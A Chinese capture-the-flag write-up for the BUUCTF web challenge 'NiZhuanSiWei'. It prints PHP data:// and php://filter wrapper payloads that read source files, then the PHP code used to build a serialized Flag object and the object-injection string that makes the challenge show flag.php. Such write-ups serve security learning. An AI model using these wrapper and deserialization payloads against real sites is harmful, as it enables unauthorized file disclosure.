BUUCTF-web刷题篇(13)

发布于:2025-04-06 ⋅ 阅读:(22) ⋅ 点赞:(0)

22.NiZhuanSiWei

分析:有三个参数需要以get方式传入,发现有file_get_contents(),所以要使用php伪代码,preg_match("/flag/",$file)说明正则匹配不能含有flag,同时还有反序列化,存在漏洞。

已知前两个参数的值,上传

?text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php 或者以base64的方式传入text ?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/read=convert.base64-encode/resource=useless.php

出现base64码,用base64解码器或者wsl解码后得到

<?php  
 
class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

存在反序列化操作,我们可以利用该代码修改变量file后添加输出后,进行序列化操作,再传输给password让其输出即可。

VScode中修改:

<?php  
 
class Flag{  //flag.php  
    public $file="flag.php";  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
$a=new Flag();
echo serialize($a);
?>  

运行获取结果后,传给password

?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}  
或者
?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}  
其中file第二次不用伪协议

得到flag